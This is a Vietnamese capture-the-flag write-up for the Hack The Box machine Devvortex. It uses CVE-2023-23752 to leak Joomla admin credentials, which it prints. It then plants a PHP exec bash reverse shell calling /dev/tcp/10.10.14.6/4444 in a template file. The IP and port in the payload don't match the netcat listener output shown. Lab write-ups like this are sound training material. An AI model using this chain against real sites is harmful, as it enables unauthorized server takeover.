+3

[Write-up] Hackthebox Devvortex. Joomla: Nhiều tiện ích đi cùng với rủi ro bảo mật

Giới thiệu

Nếu directory scan mà không có kết quả gì thì ta sẽ làm gì ? Đây sẽ là câu hỏi khi chúng ta làm bài này. Ngoài ra bài còn giới thiệu cho chúng ta về Joomla, nó cung cấp cho ta khả năng quản lý những nội dung hiển thị trên ứng dụng web, nhưng với những tiện ích mà nó mang lại thì cũng có 1 số điểm hổng mà chúng ta cần xem xét khi thực hiện làm bài này.

1. Recon

Thực hiện Nmap với đầu vào là IP được cấp

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.242
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-19 03:08 EST
Nmap scan report for 10.10.11.242
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds

Chúng ta có được 2 cổng dịch đang mở là 22:ssh và 80:http

Thêm tên 10.10.11.242 http://devvortex.htb/ vào /etc/hosts

2. Enum

Thực hiện Directory scan với http://devvortex.htb/ thì không mang lại kết quả ngoài mấy thư mục js, css, không thể truy cập được.

Tiếp theo thực hiện Subdomain scan với ffuf

┌──(kali㉿kali)-[~/aaaa]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb  -H "HOST:FUZZ.devvortex.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://devvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 100ms]
:: Progress: [4989/4989] :: Job [1/1] :: 263 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Tìm được subdomain là dev , thêm dev.devvortex.htb vào trong /etc/hosts

image.png

Thử truy cập vào robots.txt

image.png

Sau khi Directory scan thì cũng chỉ được những path như trên robots.txt, truy cập vào những đường dẫn ngoài /administrator đều bị 404

Truy cập vào /administrator thì là 1 trang đăng nhập vào trang quản trị của Joomla

image.png

Và như vậy biết được Server đang chạy php và CMS Joomla. Thử tìm kiếm tài khoản, mật khẩu mặc định của Joomla nhưng không có tại vì ngày từ khi cài đặt, Joomla bắt quản trị viên phải tạo tài khoản quản trị

Sau khi google thì có thông tin trên Hacktrick biết được với đường dẫn http://dev.devvortex.htb/administrator/manifests/files/joomla.xml có thể biết được version của Joomla

<extension type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2019 Open Source Matters, Inc.</copyright>
  <license>
    GNU General Public License version 2 or later; see LICENSE.txt
  </license>
  <version>4.2.6</version>
  <creationDate>2022-12</creationDate>
  <description>FILES_JOOMLA_XML_DESCRIPTION</description>
  <scriptfile>administrator/components/com_admin/script.php</scriptfile>
  <update>
    <schemas>
      <schemapath type="mysql">
        administrator/components/com_admin/sql/updates/mysql
      </schemapath>
      <schemapath type="postgresql">
        administrator/components/com_admin/sql/updates/postgresql
      </schemapath>
    </schemas>
  </update>
  <fileset>
    <files>
      <folder>administrator</folder>
      <folder>api</folder>
      <folder>cache</folder>
      <folder>cli</folder>
      <folder>components</folder>
      <folder>images</folder>
      <folder>includes</folder>
      <folder>language</folder>
      <folder>layouts</folder>
      <folder>libraries</folder>
      <folder>media</folder>
      <folder>modules</folder>
      <folder>plugins</folder>
      <folder>templates</folder>
      <folder>tmp</folder>
      <file>htaccess.txt</file>
      <file>web.config.txt</file>
      <file>LICENSE.txt</file>
      <file>README.txt</file>
      <file>index.php</file>
    </files>
  </fileset>
  <updateservers>
    <server name="Joomla! Core" type="collection">
      https://update.joomla.org/core/list.xml
    </server>
  </updateservers>
</extension>

Ngoài Joomla có phiên bản là 4.2.6, còn cho ta biết thêm về các file như htaccess, web.config.txt,…

3. Exploit

Sau khi google thì phiên bản này dính CVE-2023-23752, lỗi này là lỗi Information Disclosure ở api:

http://dev.devvortex.htb/api/index.php/v1/config/application?public=true cho ta biết được thông tin tài khoản mật khẩu của quản trị viên

image.png

Ở đây tên người dùng là lewis và password là P4ntherg0t1n5r3c0n##

image.png

Sau khi truy cập được vào trang quản trị, bắt đầu khai thác bằng cách đi vào System → Templates Sites

Với quyền quản trị viên ta có thể thay đổi các file trong hệ thống. Đầu tiên chúng ta sẽ chọn file /templates/cassiopeia/cassiopeia/error.php để thực hiện khai thác. Đầu tiên thử thêm phpinfo(); ở đầu file để xem kết quả

image.png

Thực hiện kiểm tra bằng cách truy cập vào đường dẫn /templates/cassiopeia/cassiopeia/error.php

image.png.

Như vậy có thể kết luận rằng ta có thể thay đổi code php trên này và nó vẫn sẽ chạy bình thường

Sau đó thực hiện thay phpinfo(); bằng câu lệnh mở kết nối với netcat vào trong file error.php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'");

image.png

Sử dụng netcat lắng nghe ở máy local

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 51754
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ ls
ls
component.php
error.php
html
index.php
joomla.asset.json
offline.php
templateDetails.xml
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$

Kết quả thành công

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 47142
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ cd /
cd /
www-data@devvortex:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Recommendation

Nên thực hiện theo dõi cũng như cập nhật các phần mềm bên thứ 3 ví dụ ở đây là Joomla


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí